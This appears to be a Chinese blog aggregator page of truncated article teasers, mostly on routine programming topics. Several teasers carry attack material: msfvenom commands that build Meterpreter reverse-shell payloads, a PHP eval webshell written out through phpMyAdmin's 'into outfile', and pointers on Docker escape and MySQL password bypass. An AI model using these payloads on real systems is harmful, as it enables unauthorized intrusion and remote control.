NOT
【网安神器】MSF木马制作
Linux msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=Your IP LPORT=Your Port -f elf -o ./shell.elf Windows msfvenom -p windows/meterpreter/revers ......
LK 光流法
LK 光流法 首先是对输入参数个数的判断。这里我们只需传入“数据集排序文件”associate.txt所在的文件夹就可以,因而argc的判别值为2。 string path_to_dataset = argv[1]; string associate_file = path_to_dataset + ......
数据类型和操作
数据类型和操作 常用内置类型 整数int 浮点数 float 布尔值bool 类型type 字符串****str 列表****list 元组****tuple 用数组array 集合****set 字典****dict(映射,map) 复数complex 函数function 模块module eg ......
变量与函数
变量与函数 变量 新值会覆盖旧值 新值数据类型不必与旧值相同 **变量是一个标签 变量命名规则 必须以字母或下划线开头 命名可由字母、数字、下划线组成 大小写敏感 尽量避免使用保留字命名 更新变量 x=5 x+=2 print(x) 7 多变量赋值 a,b,c = 1,2,3#元组的解包 print ......
map函数用法
map函数用法 描述 map( )根据提供的函数对指定序列做映射 fuction以每一个元素调用,并且返回每次fuction函数返回值的新列表 语法 map(fuction,iterable,) 函数 一个或多个序列 def** square(x) : # 计算平方数 return** x ** ......
云原生-docker逃逸
docker安装 我使用的kali安装 安装docker 步骤 sudo apt-get update sudo apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-comm ......
前端框架vue路由hash模式与history模式的区别
hash模式会在页面初始化的时候,url后面会带上/#的hash值,后面是路由组件加携带参数,缺点是看起来不太美观,但相比于history模式来说,它具有用户在页面各种点击操作后,点击刷新后数据不丢失,也不会出现网络报错。 而history模式优点是能让整个url看起来比较简洁美观,但问题就是项目部 ......
C++回调函数的定义和调用
文章目录 一、C++回调函数 1. C/C++回调函数 2. 普通回调 3. 函数指针 4. C++类的静态函数作为回调函数 5. 类的非静态函数作为回调函数 6. Lambda表达式作为回调函数 7. std::funtion和std::bind的使用 二、其他参考资料 一、C++回调函数 C++ ......
解决Gradle下载太慢的问题
解决Gradle下载太慢的问题 2023年11月15日 14:1362浏览 · 0喜欢 · 0评论 七彩叶1A 粉丝:425文章:3 关注 留着自用 镜像源:https://mirrors.cloud.tencent.com/gradle/ 选择对应版本下载链接,替换修改gradle-wrapper ......
windows中MySQL忘记密码
前言: 一直都是连接公司项目数据库,许久未连接本地的数据库,密码忘记了 步骤: 进入本机安装mysql的bin目录下 暂停mysql服务 net stop mysql 设置跳过密码授权登录 mysqld --console --skip-grant-tables --shared-memory 新开 ......
课程模块
06-01 课程主页面之前台 FreeCourse.vue <template> <div class="course"> <Header></Header> <div class="main"> <!-- 筛选条件 --> <div class="condition"> <ul class="ca ......
拿到phpMyAdmin如何获取权限
目录1、outfile写一句话2、general_log_file写一句话 通过弱口令拿到进到phpMyAdmin页面如何才能获取权限 1、outfile写一句话 尝试执行outfile语句写入一句话木马 select "<?php @eval($_REQUEST[6868])?>" into ou ......
C语言编程技巧 全局变量在多个c文件中公用的方法
在使用C语言编写程序时,经常会遇到这样的情况:我们希望在头文件中定义一个全局变量,并将其包含在两个不同的C文件中,以便这个全局变量可以在这两个文件中共享。举个例子,假设项目文件夹"project"下有三个文件:main.c、common.c和common.h。在这种情况下,我们希望声明一个字符型变量 ......
《信息安全系统设计与实现》第十二周学习笔记
《信息安全系统设计与实现》第十二周学习笔记 第13章 TCP/IP和网络编程 TCP/IP协议 TCP/IP协议是利用 IP 进行通信时所必须用到的协议群的统称。具体来说,IP 或 ICMP、TCP 或 UDP、TELNET 或 FTP、以及 HTTP 等都属于 TCP/IP 协议。他们与 TCP ......
04函数提升
1.会把所有函数声明提升到当前作用域 2.只提升函数声明,不提升函数调用 fn() function fn(){ console.log('函数提升') } fun() var fun = function() { console.log('函数表达式') } 函数表达式必须先声明在赋值,最后在调用 ......
变量提升
什么是变量提升, 他允许在变量声明之前被访问 只提升声明 不提升赋值 1.把所有var 声明的变量提升到当前作用域的最前面 2.只提升声明,不提升赋值 ·变量在未声明被访问会报语法错误 变量在赋值之前被访问是undefind let const 不存在变量提升 开发者首先先声明后赋值 ......
打印数组
public class kaobei { public static void main(String[] args) { int[] arr = {11,22,33}; int[] arr2 = copy(arr); copy1(arr2); } public static void copy1 ......
JavaWeb中的文件上传和下载功能的实现
导入相关支持jar包:commons-fileupload.jar,commons-io.jar 对于文件上传,浏览器在上传的过程中是将文件以流的形式提交到服务器端的,如果直接使用Servlet获取上传文件的输入流然后再解析里面的请求参数是比较麻烦,所以一般选择采用apache的开源工具common ......
pip install报错"Can't connect to HTTPS URL because the SSL module is not available"
pip时install报错 一、故障现象 [root@jenkins /data/package/openssl-1.1.1n]# pip3 install emoji WARNING: pip is configured with locations that require TLS/SSL, h ......
bind-utils无法安装,提示" Requires: libisc-export.so.95()(64bit)"
bind-utils无法安装 一、问题现象 [root@test ~]# yum install bind-utils Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile Resolving Depende ......
Docker启动失败,提示"iptables: No chain/target/match by that name"
一、问题现象 docker容器报错: docker: Error response from daemon: driver failed programming external connectivity on endpoint etlmysql (12ccdbcef942bef6f32dbfc15 ......
Linux镜像开启telnet控制台
Linux镜像开启telnet控制台 开启telnet需要编辑grub.cfg,在Linux内核的启动参数里添加一个参数。 但是linux发行版系统不推荐直接编辑,我们可以通过编辑/etc/default/grub文件,在里面添加上需要的参数,然后使用命令生成grub.cfg文件就行了。 CentO ......
MySQL5.7允许远程root访问
MySQL5.7允许远程root访问 登录你的服务器MySQL mysql -u root -p MySQLroot密码 GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '你的root密码' WITH GRANT OPTION; ......
学习笔记11
网络编程是一种涉及计算机网络的软件开发技术,它允许不同计算机之间的通信和数据交换。在网络编程中,TCP/IP协议是基础,它定义了数据如何在网络上进行传输。 TCP/IP协议 TCP/IP(Transmission Control Protocol/Internet Protocol)是一组通信协议, ......
聪明办法学Python Task03&Task04
数据类型和操作DATA TYPES AND OPERATORS 常用内置类型 在本节将会见到这些基本类型: 整数(int): 浮点数(float): 布尔值(bool):True和False 这个比较特殊,是用来表示逻辑上的“真”和“假”(或者说“是”和“非”)的一种类型,它 只有两个值,Tru ......
《程序员修炼之道——从小工到专家》读后感6
我们编写易于测试的代码,,为测试而设计。在调试过程中,我们可以临时创建一些特定测试,在调试会话的最后,需要使即兴测试正式化。如果代码曾经出过问题,他很可能还会再出问题,不要把创建的测试随便扔掉,把它加到已有的单元测试中。测试自己的软件,否则用户就得测试。不要使用自己不理解的向导代码。 ......
AI创作工具:Claude2注册保姆级教程
最近软件打算多接入几个AI写作平台,包括讯飞星火,百度文心,Claude2,这样就能给用户提供更多的写作选择 经过半天的调研,讯飞星火,百度文心一言,接入都比较简单,毕竟是国内的。 在调研Claude2的时候,发现自己之前注册的账号被封了。 于是打算重新注册一个账号,结果犯了难。 下面开始正式教程部 ......
Day05 Java程序运行机制
Java程序运行机制 编译型 解释型 如同 中国人写了一本书 美国人想看 编译型就类似 把整本书全部翻译成美国人看得懂的书 (中文书-->英文书) 解释型就类似 美国人找了个翻译官 翻译一段美国人看一段 (说一句解释一句 用一下编译一下) 程序运行机制 源程序(*.java)文件-->Java编译器 ......
Day06 使用idea开发
使用idea开发 快捷键: psvm public static void main(String[] args) { } sout System.out.println(); public class Hello { public static void main(String[] args) { ......